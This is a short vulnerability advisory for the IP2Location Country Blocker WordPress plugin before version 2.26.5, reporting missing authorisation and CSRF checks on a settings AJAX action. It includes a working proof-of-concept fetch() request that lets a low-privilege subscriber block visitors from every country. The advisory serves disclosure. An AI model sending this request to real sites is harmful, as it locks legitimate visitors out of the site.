The plugin does not have authorisation and CSRF checks in the ip2location_country_blocker_save_rules AJAX action, allowing any authenticated users, such as subscriber to call it and block arbitrary country, or block all of them at once, preventing users from accessing the frontend. v2.26.5 added authorisation but not CSRF check, a separate issue has been created
Ban visitors from all countries, as a subscriber: fetch(“https://example.com/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: new URLSearchParams({“action”:“ip2location_country_blocker_save_rules”, “countries[]”: “nonexistent”, “mode”: 0}), “method”: “POST”, “credentials”: “include” }) .then(response => response.text()) .then(function(data) { console.log(data); });
CPE | Name | Operator | Version |
---|---|---|---|
ip2location-country-blocker | lt | 2.26.5 |